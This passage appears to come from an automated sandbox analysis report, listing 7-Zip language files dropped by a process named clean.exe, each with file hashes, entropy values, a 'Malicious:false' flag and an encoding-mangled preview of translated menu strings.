                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 text
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):8167
                                                                                                                                                                                                                                                                  Entropy (8bit):5.182965058202618
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:lH1MtZF7kYa3kXQVtxXYrqYTcMcoyQDRTYENGHI7mOz2WN5p+qWaWWQsc:lH1gFMBcAoyQDRTYoV2WDo1F
                                                                                                                                                                                                                                                                  MD5:E937C579B59FF80E6517CA0F3D421952
                                                                                                                                                                                                                                                                  SHA1:64B4E81AD33FAFD52D97200C0BB5C092AC80761C
                                                                                                                                                                                                                                                                  SHA-256:DEBBF02E1BF29777743853C780FB1F72B3AB6F7BD8A52612BE1AD428E88FA7C6
                                                                                                                                                                                                                                                                  SHA-512:2EBF6F3E45A13D230968543F263BC2309C0147B3FA0BBA5534B6051B44C9CF105A1D46B462D859567DA1EFB97E0D3E487F588D21D2CEC6840407F2667C1A141B
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:;!@Lang2@!UTF-8!.; 16.04 : 2017-03-15 : Stef.n .rvar Sigmundsson.;.;.;.;.;.;.;.;.;.;.0.7-Zip.Icelandic..slenska.401.. lagi.H.tta vi.....&J..&Nei.&Loka.Hj.lp..&Halda .fram.440.&J. vi. .llu.&Nei vi. .llu.St..va.Endurr.sa.&Bakgrunnur.&Forgrunnur.&Gera hl... hl.i.Ert .. viss um a. .. viljir h.tta vi.?.500.&Skr..&Breyta.S&ko.a.&Upp.hald.&Verkf.ri.&Hj.lp.540.&Opna.Opna a. &innanver.u.Opna a. &utanver.u.S&ko.a.&Breyta.&Endurnefna.&Afrita ...&F.ra ...E&y.a.K&lj.fa skr..S&ameina skr.r.E&iginleikar.&Gera athugasemd.Reikna samt.lu.Mismunur.Skapa &m.ppu.Skapa &skr..&H.tta.&Tengill.&V.xlstraumar.600.&Velja allt.&Afvelja allt.&Umsn.a vali.&Velja.&Afvelja.&Velja eftir tegund.&Afvelja eftir tegund.700.&St.rar t.knmyndir.S&m.ar t.knmyndir.&Listi.Sm&.atri.i.730..flokka..&Flats.n.&2 spj.ld.&Verkf.rastikur.&Opna r.tarm.ppu.&Upp um eitt stig.M&.ppusaga.&Endurgl..a.S&j.lfendurgl..un.750.Safnverkf.rastika.St..lu. verkf.rastika.St.

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\it.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):9712
                                                                                                                                                                                                                                                                  Entropy (8bit):4.869238753382525
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iqlpzc7zUwLkm5g6dLeUPezxs+GGWFP2oJhD0k8nv8C/PZmvmVxPdYjgl0h24oUf:imzo15g6cUPim+GGWVJhSvNP6mVxPdYP
                                                                                                                                                                                                                                                                  MD5:87EFE148B443C6B50EAB945E27F9B39A
                                                                                                                                                                                                                                                                  SHA1:D4A46F9A798C381A7415DE8B74B296F5632124C1
                                                                                                                                                                                                                                                                  SHA-256:DD0A9A9CE33D25A9F6C461A6E43721E975B8B1E189C3D5B81F1DAD0FF12870BE
                                                                                                                                                                                                                                                                  SHA-512:3F391E6C840EA267F500E7912E87E8696099AEE683A0A656A97033DEC8DE38F875C60DC21E9332A7E24CA3E2AE8C404FD936F915AD8C8A05EAB090C355916DD1
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 4.07 : Leandro Spagnol..; : Vincenzo Reale (some corrections)..; 15.05 : 2015-06-17 : TJL73 : http://tjl73.altervista.org/..; 15.05 : 2017-02-01 : Massimo Castiglia..;..;..;..;..;..;..;..0..7-Zip..Italian..Italiano..401..OK..Annulla........&S...&No..&Chiudi..Aiuto....&Continua..440..S. per &tutti..No per t&utti..Stop..Riavvia..&In background..In p&rimo piano..&Pausa..In pausa..Sei sicuro di voler annullare?..500..&File..&Modifica..&Visualizza..&Preferiti..&Strumenti..&Aiuto..540..&Apri..Apri in &7-Zip File Manager..Apri con &un altro programma..&Visualizza..Modifica con l'&editor predefinito..Rino&mina..&Copia in.....&Sposta in.....&Elimina..&Suddividi il file.....&Unisci i files.....&Propriet...Comme&nto.....Calcola chec&ksum..Comparazione differenze (Diff)..Crea Cartella..Crea File..E&sci..Link..Streams &alternativi..600..Selezion&a tutto..&Deseleziona tutto..&Inverti selezione..Seleziona.....Deseleziona.....Seleziona per tipo..Deseleziona per tipo..7

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ja.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):11467
                                                                                                                                                                                                                                                                  Entropy (8bit):5.442900573532796
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:ixvA5kWAuHjPgyAOURt4ohSkmh5w4tO+/JSPBh4w4xPpjxj0YZGNx8tGOJV94eSS:i1AgONuqohS1o+/Fv18s1xSGN
                                                                                                                                                                                                                                                                  MD5:6B21F559FEB973FD83C7E4B7C1ADB254
                                                                                                                                                                                                                                                                  SHA1:D715C088ED3CE8275BC40FC8D71E0B3510016E60
                                                                                                                                                                                                                                                                  SHA-256:779A3A65E8D8967E7C06CECA95592FAF63D215A4F5FE6122BA14B5A45E060BB4
                                                                                                                                                                                                                                                                  SHA-512:0556F58AF00DB4AC0DBC83EAEE049F54175A3963385AAC61C7E605C960BAA826016D93C4E610506820ACD6DD68FA39F0F3978EBD433F9934716860C0799722E2
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; : Komuro, Mick, 2chBBS-software..; : Crus Mitsuaki..; 9.07 : Stepanushkin Dmitry..; 9.23 : 2011-06-22 : Stepanushkin Dmitry, nabeshin..; 9.33 : 2014-06-17 : Stepanushkin Dmitry..; 15.00 : 2015-04-30 : Stepanushkin Dmitry..;..;..;..;..;..0..7-Zip..Japanese.......401..OK.................(&Y).....(&N).....(&C)...........(&C)..440...... ..(&A)...... ...(&L)..................(&B)..........(&F)......(&P)........................500......(&F)....(&E)....(&V).......(&A).....(&T).....(&H)..540....(&O)..7-Zip...(&I).........(&U)....(&V)....(&E).......(&M).....(&C).......(&M).......(&D)........(&S)...........(&B)..........(&R)......(&N)..................

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ka.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):18205
                                                                                                                                                                                                                                                                  Entropy (8bit):3.5734503314271655
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:384:ikzn3UlfDnVKqnB+C0aHgtyr6g5W0p5rUbVkmUmqIcR5mFuBUPNIazj:7sMW6gnAbVkmUm3
                                                                                                                                                                                                                                                                  MD5:EB2AF4DC4C28275AE1876523944D708E
                                                                                                                                                                                                                                                                  SHA1:BFB87569112A081A99ECD5BFDCC6F2AEAD07F67B
                                                                                                                                                                                                                                                                  SHA-256:B78DEFEC49D07120B74C2172F3E07540314771B16729C6BBFC3A1902ECE2EDA0
                                                                                                                                                                                                                                                                  SHA-512:E04680A6050FC6B3D0BF50A092F5FE2049BEDF705F479FB5C45852E4CC19D1B735B85166DA15EA67DBEB3AACF39DBE6C80EDA9D4C180805D87762468875AB49A
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 9.23 : 2011-09-25 : Translated by Giorgi Maghlakelidze, original translation by Dimitri Gogelia, ..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Georgian...........401..OK..................&......&.....&......................&............440...... &................ ...&.............................&.........&.... ........&..........&..................... ..... .......... ........?..500..&.......&............&.......&.........&.............&...........540..&.............. &.............. ..&.......&..

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\kaa.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):8102
                                                                                                                                                                                                                                                                  Entropy (8bit):5.104223410120957
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iGKztgVKxXfv5NKHLm9ufAX7M5amaRi5WsU1Ok/VO1ri:iGStuYXfvBXQiuWslk/sBi
                                                                                                                                                                                                                                                                  MD5:DFBA5C2185E113EEF167A5E21C32DF76
                                                                                                                                                                                                                                                                  SHA1:E36703D7D1954E3F1729A0497674EC15C41A2F76
                                                                                                                                                                                                                                                                  SHA-256:4D631602CE3D0C4D9162AF6BF56A90C8EEF75A24D556B729191B62F79ABA0681
                                                                                                                                                                                                                                                                  SHA-512:3271B66114BD6F145693258C5E84A175ACB3DB865169734A9BEB5DE7F9AEFD06B4144650DC0E98FD47DD38AD3CABD26415640CDDC8AC611C23D14487E975FB70
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 9.07 : Atabek Murtazaev..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Karakalpak - Latin..Qaraqalpaqsha - Lat.n..401..OK..Biykar etiw........&Awa..&Yaq..&Jab.w..Ja'rdem....&Dawam etiw..440..&Barl.g'.na awa..Ba&rl.g'.na yaq..Toqtat.w..Qaytadan baslaw..&Artq. fong'a..Ald.ng'. &fong'a..&Pauza..Pauza q.l.ng'an..An.q biykar etiwdi qa'leysizbe?..500..&Fayl..&Du'zetiw..&Ko'rinis..&Sayland.lar..A's&baplar..&Ja'rdem..540..&Ash.w..&.shinde ash.w..&S.rt.nda ash.w..&Ko'riw..&Du'zetiw..At.n o'&zgertiw..Bul jerge &nusqas.n al.w.....Bul jerge ko'shiriw.....O'shiriw..&Fayld. bo'liw.....Fayllard. &biriktiriw.....Sazlawla&r..Kom&mentariy.....Qadag'alaw summas...Diff..Papka jarat.w..Fayl jarat.w..Sh&.g'.w..600..Barl.g'.n &saylaw..Saylawd. al.p taslaw..Saylawd. &teris awdar.w..Saylaw.....Saylawd. al.p taslaw.....Tu'ri boy.nsha saylaw..Tu'ri boy.nsha saylawd. al.p taslaw..700..U'&lken ikonalar..Kishi &ikonalar..&Dizim..&Keste..730..Ta'rtipsiz..Te

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\kab.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):8592
                                                                                                                                                                                                                                                                  Entropy (8bit):5.231781574254223
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iFKQ2IdVUQs/gSSmlPgUulpuDUed3JhFyglCxCxqJo+Msp04ndCVv:iY7IrsgSSmlPgXpUUed3Jh8FCxaB/dCF
                                                                                                                                                                                                                                                                  MD5:C6AC7AAD8BCE83AC69F197DB9D4529F8
                                                                                                                                                                                                                                                                  SHA1:5FA31CCFA23B753CEE7AEE7EE65915AAA94F9B01
                                                                                                                                                                                                                                                                  SHA-256:B8A7A5182DFDACC9BACCB412E161C60864D3B5D30038935122C736AE4F4EBC22
                                                                                                                                                                                                                                                                  SHA-512:A643E38A5801A50FD318FEFEB0245B8935C818737B860839C15FA09B0CC0E9EF55EB455E3CEAF8B2263AE23B5BEFD1E6013BA63C4ABD1B89627905498FF026BE
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 15.00 : 2018-02-27 : Belkacem Mohammed..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Kabyle..Taqbaylit..401..IH..Sefsex........&Ih..&Uhu..&Mdel..Tallelt....&Kemmel..440..Ih i &Me..a..Uhu i M&e..a..Se.bes..Ales tanekra..&Agilal..&A.awas Amezwaru..&R.u..I.bes..Teb.i. ad tsefsxe.?..500..A&faylu..&.reg..&Sken..I&nurifen..&Ifecka..&Tallelt..540..&Ldi..Ldi deg &ugensu..Ldi di B&erra..&Sken..&..eg..Snif&el Isem..&N.el .er.....&Senkez .er.....&Kkes..&B.u Afaylu.....Sdu&kkel ifuyla.....A&ylan..Awenn&it.....Timernit n Usenqed..Ice..iq..Snulfu-d Akaram..Snulfu-d Afaylu..F&fe...Ase.wen..&Alternate Streams..600..Fren &Me..a..Kkes Afran i Me..a..&Tti Afran..Fren.....Kkes Afran.....Fren s Tawsit..Kkes Afran s Tawsit..700..Tig&nitin Timeqranin..T&ignitin Time.yanin..&Tabdart..&Talqayt..730..Ur Yettwafren ara..Askan Imlebbe...&2 Igalisen..&Ifeggagen n Ifecka..Ldi Akaram Agejdan..Yiwen Uswir d Asawen..Amazray n Ikaramen.....&Smiren..Asmir

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\kk.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):10732
                                                                                                                                                                                                                                                                  Entropy (8bit):4.659322147322825
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iwHw0jjl8sq/UDEAY40JI0lkMPK+K4ppfdMMda764a:iwHw0jjiRUD8kMPJqMdj4a
                                                                                                                                                                                                                                                                  MD5:F4C46B450A580AD5ABF0B638DCDCC6FB
                                                                                                                                                                                                                                                                  SHA1:750DFDDDDADEE9CFE0E8F651F1C6CC38CF1FCD78
                                                                                                                                                                                                                                                                  SHA-256:F2E6E55C102485E232DAAD00F68D8905F7A54F8AE2128DB6AFE25231C17ACD69
                                                                                                                                                                                                                                                                  SHA-512:24B6DC7B491302B905C1E20E67DDAB16AF9420820B6C83406618E017FA84D952661087E2EA577831441E8A3C82EF697DE713597E33626AED787F3485DD9B1F7D
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 9.07 : Arslan Beisenov, Arman Beisenov..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Kazakh...........401............................&....&.....&..................&............440........ &.......... &................... .... ......&.......&....... ..........&............................ ....... ..... ..?..500..&......&.......&.........&...........&.......&..........540..&........... &............. ............&............ ......&...........&............&........... .................... .............................&.................. ........Diff..&..... ........... .............600....... ...................... ....

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ko.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):9900
                                                                                                                                                                                                                                                                  Entropy (8bit):5.617543855498878
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:i36rCE/KKcFaeVLs7sdGBbeO9onv40if8Knv3E3q9FGdUBUe:i6CE/KKcQSLsJbeOqti0KvoAGdqUe
                                                                                                                                                                                                                                                                  MD5:55E8685AC21571F0B5F11A4D5FA088F9
                                                                                                                                                                                                                                                                  SHA1:285D09B7A8ADCAB4E5D72928487C711B8F48B8FB
                                                                                                                                                                                                                                                                  SHA-256:58A2DD10438C1199653C1BCD88C520DDB437FA8E01BCF311130ADA0A626151C7
                                                                                                                                                                                                                                                                  SHA-512:BD95E5F82E17494404E7319F5CDC1B4BDD868B2AE73BE1CF407F9F1E54B360BF75A36993A60A14D29E4AF3EC15E0538F23E1F22DCA1153BD01FC0BA964390337
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; : ZannyLim (...)..; : bzImage..; 4.52 : Hyeong il Kim (kurt Sawyer)..; 9.07 : Dong-yoon Han (...)..; 15.12 : Winterscenery (Ji-yong BAE)..; 16.04 : Add translation and Modify by Winterscenery (Ji-yong BAE)..;..;..;..;..;..0..7-Zip..Korean.......401.................(&Y).....(&N)....(&C)...........(&C)..440.... .(&A).... ...(&L)........ ...... ...(&B).... ...(&F)......(&P)...... ...... ........?..500....(&F)....(&E)....(&V)......(&A)....(&T).....(&H)..540....(&O).... ..(&I).... ..(&U).... ..(&V)....(&E)... ..(&M)....(&C).......(&M).......(&D).... ...(&S)....... ...(&B).......(&R)....(&N)........ ...... ...... ....... ........(&X)........ ... ...(&A

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ku-ckb.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):12360
                                                                                                                                                                                                                                                                  Entropy (8bit):4.546190162778464
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:igHCpEmyIRe0g/OQMEuDP9Y799boVTiUaml4hSf7UAlA+cA90s5bKlcRBfwCiIEW:ivjQMTDShMTiUaTSfwA90sglMRMj2z/
                                                                                                                                                                                                                                                                  MD5:C90D029172A8533946EF7419BF383305
                                                                                                                                                                                                                                                                  SHA1:7B3D96899F5935E559626D215517315C04207627
                                                                                                                                                                                                                                                                  SHA-256:19AF39960142B8599153A09EF4F03F944FC00999BEB9FE2399F5F8B236716EEF
                                                                                                                                                                                                                                                                  SHA-512:B0A711161CE233E5B9231C21ABFD721BCA6A85567DEBC6CC9C033C68D0A6E1292F369DBF1EA52B4088658D13263C245EA37752E87ABD8B2AA878B5270EF0B1BE
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; : Ara Bakhtiar..; 4.66 : Ara Qadir : http://www.chawg.org..;..;..;..;..;..;..;..;..;..0..7-Zip..Kurdish - Sorani.........401.............................&......&.......&...................&..............440...... .. &............ .. ..&..............................&............&..........&......................... .. ................500..&......&..........&........&...........&............&.........540..&................ ..&... ............. .. &........&.......&..........&..........&............ .......&......... .......&.........&........ ..........&...... ....... .............&...................&............

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ku.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):5841
                                                                                                                                                                                                                                                                  Entropy (8bit):5.148203465705585
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:96:iPHrOVp0Wqx9Zgwx+tBttSTULz9bkfHas8SwQfBMoWURypM4L4l28Wgk+drzNadK:iP6Vpu1MZtSTWbkvasTwQjZRyps+g9kK
                                                                                                                                                                                                                                                                  MD5:6E9A3E86335C08C15350BA91DF969269
                                                                                                                                                                                                                                                                  SHA1:3C5FDC93B569DB37B76009F51483E7BF55A7919B
                                                                                                                                                                                                                                                                  SHA-256:A00B21A87A58ADEFF29EA379160B6AE72DF5EC380F6E4C6A1BC352B6581FB4C4
                                                                                                                                                                                                                                                                  SHA-512:C9919CA7FF62B673A22447029D77630C44D71847E0B4D2D8C572FC6E0FA51CC03473BE46B87C0DCAFE0194CB12119E8706286060622E42892702EC3C6239AD0F
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 4.37 : Rizoy. Xerz...;..;..;..;..;..;..;..;..;..;..0..7-Zip..Kurdish..Kurd...401..Temam..Betal........&Er...&Na..Bi&gire..Al.kar.....Bi&dom.ne..440..&Ji Bo Hem.y. Er...Ji &Bo Hem.y. Na..Raweste..D.sa Destp.ke..L%i Pi.t..Li &P....&Rawest.ne..Rawestiya -..Ma bila betal bibe?..500..&Dosya..&Bipergal.ne..&N..an Bide..Bi&jare..&Am.r..A&l.kar...540..&Veke..&Di Panel. De Veke..Di &Pacey. De Veke..&N..an Bide..&Sererast bike..&Navek. N. Bid...&Ji Ber Bigire..B&ar Bike..J. B&ibe..Par.e Bi&ke.....Bike &Yek.....&Taybet...Da&xuyan...checksum heseb bike....Pe&ldankeke N...Do&siyeke N...De&rkeve..600..&Hem.y. hilbij.re..He&m. hilijartin. rake..Be&revaj. w. hilbij.re..&Hilbij.re.....Hilbijarti&n. Rake.....V. curey. hilbij.re..Hilbijartina cure rake..700..&Daw.r.n Mezin..D&aw.r.n Bi..k..&L.ste..&H.ragah...730..B. Dor..xuyakirina sade..&2 Panelan veke..Da&rik. am.ran..Peldanka Kok Veke..Astek. Berjor..D.roka Peldank

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ky.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):12614
                                                                                                                                                                                                                                                                  Entropy (8bit):4.649736068304655
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:384:ikVDGPB8R8wedC+GwW2womKx4rXNMQOpR2avWPYx3jqSxv:78Z8+7CS8uiMkARuSN
                                                                                                                                                                                                                                                                  MD5:7D0420EE265C9122DC11EF964871E179
                                                                                                                                                                                                                                                                  SHA1:4B84B209E5A637869E501D54FF0B535BD3924851
                                                                                                                                                                                                                                                                  SHA-256:4EF68FBD8AB002BBF4CD6D1C9FD6D87A5FDE048AFD2EF162B727259EB97D70D2
                                                                                                                                                                                                                                                                  SHA-512:0DDCD7871E61B76ACF3FA0224519ED8E29C33234C300097F69E799951F8F9E87943A4F755F1362856F0C2A3804C399E466CF08CF0E189EC7BCDF744E07C61635
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 9.20 : Kalil uulu Bolot..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Kyrgyz............401..OK...............&......&.....&.................&.........440...... &............ .&...... .................. .........&.......&....... ........&....................... ... ... .......... ........... ..... ......?..500..&......&.......&......&............&.......&........540..&.........&... ...........&... .............&.................& ..........&.... ............&.... ..... ............&..........&... ................&........ .............&...........&.................. ..........Diff..&...... ............&. ......

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\lij.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):7882
                                                                                                                                                                                                                                                                  Entropy (8bit):5.013331648035662
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iIxLxXfim7pf7nJePcyzqBJv3/gxqwP95y:iIxLxXTFDnxoxqwP94
                                                                                                                                                                                                                                                                  MD5:372BC4A26B676C48CF8FEFAB3711B91D
                                                                                                                                                                                                                                                                  SHA1:39DA7AC5A483BD675657C24F875C2CEE93204A1E
                                                                                                                                                                                                                                                                  SHA-256:431CAE1BB77633FDF3CE339E97BC5D5D885779DECC01ED03583E381F097A2487
                                                                                                                                                                                                                                                                  SHA-512:0BF4DED969BC2AF21B806FEA241B7F0A312D8D4D9C81B14293E352E09DC31B3B876C77C155B6C9769D89B169D8DE65C4F52B649ACBF90AF14E75CCD6BB8157DF
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 9.07 : GENOVES.com.ar..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Ligurian..Zeneize..401..D'ac.rdio..Anulla........&Sci..&No..S.&ra..Agiutto....&Continoa..440..Sci pe &Tutti..No pe T&utti..Ferma..Inandia torna..Into &sfondo..&In primmo cian..&Paoza..In paoza..Ti . seguo de voei anul.?..500..&Archivio..&Modifica..&Vixoalizza..&Preferii..&Strumenti..A&giutto..540..&Arvi..Arvi into Manezat. d'archivi 7-Zip..Arvi inte Explorer..&Vixoalizza..&Modifica..Ri&nomina..&C.pia inte.....&Sp.sta inte.....Scancel&la..&Dividi l'archivio.....&Unisci i archivi.....P&ropiet...Comen&ta.....Calcola somma de contr.llo..Dif..Crea cartella..Crea archivio..Sc&i.rti..600..Sele.ionn-a &tutto..Desele.ionn-a tutto..In&verti sele.ion..Sele.ionn-a.....Desele.ionn-a.....Sele.ionn-a pe tipo..Desele.ionn-a pe tipo..700..Figue &grende..Figue picinn-e..&Listin..&D.ti..730..Nisciun ordine..Vista ciatta..&2 barco.n..Bare di &Strumenti..Arvi cartella prin.ip...Livello supei...Crono

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\lt.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):9607
                                                                                                                                                                                                                                                                  Entropy (8bit):5.125178074314148
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:inIsB9j4K01iwimxhiZ8yczB7XhyyYR1gQEfo9GcC7MDc:inIsyiwnhiZ1czn9YwQuZ7MDc
                                                                                                                                                                                                                                                                  MD5:92D03523DD0E7E7B2862A6396ABAD455
                                                                                                                                                                                                                                                                  SHA1:EA1FC2BAC5AB8D5EE329A5945F1ED90269CB7AEC
                                                                                                                                                                                                                                                                  SHA-256:C5DA5B37BE32FA4CDD8B938D479C0327B84C9F83C948EB7E65F4DDC15A6BEEAE
                                                                                                                                                                                                                                                                  SHA-512:1FB0AE4117DD69418ECC371F699630D79F89DAAA3099F57EBFA4A7DE398CBDEF095E0B029A547DFB6936A336A9E2748B880EC83A65554A1858F2F87104D63E27
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 2.30 : Marius Navickas : http://www.teisininkas.lt/ivairus/7-zip:..; 4.57 : Domas Jokubauskis..; 15.05 : Vaidas777 (termin. .altinis: www.ra.tija.lt)..;..;..;..;..;..;..;..;..0..7-Zip..Lithuanian..Lietuvi...401..Gerai..At.aukti........&Taip..&Ne..&U.daryti..Elektroninis .inynas....&T.sti..440..T&aip Visiems..Ne v&isiems..Sustabdyti..I. naujo..&Fone..&Pirminis procesas..&Laikinai sustabdyti..Laikinai sustabdyta..Ar j.s esate tikri, kad norite at.aukti?..500..&Failas..K&eisti..&Rodyti..M.gi&amiausi...ran&kiai..&Elektroninis .inynas..540..&Atverti..Atverti v&iduje..Atverti i.&or.je..&Rodyti..K&eisti..Pervadi&nti..&Kopijuoti ......&Perkelti .......alin&ti..&Skaidyti fail......Jungti &failus.....Savy&b.s..Kome&ntuoti..Skai.iuoti kontrolin. sum...Sulyginti..Sukurti aplank...Sukurti fail...I.ei&ti..Nuoroda..&Alternatyv.s srautai..600..Pa.ym.ti &visk...Nu.ym.ti visk...Atv&irk.tinis .ym.jimas..Parinkti.....At.ym.ti.....Pasirinkti

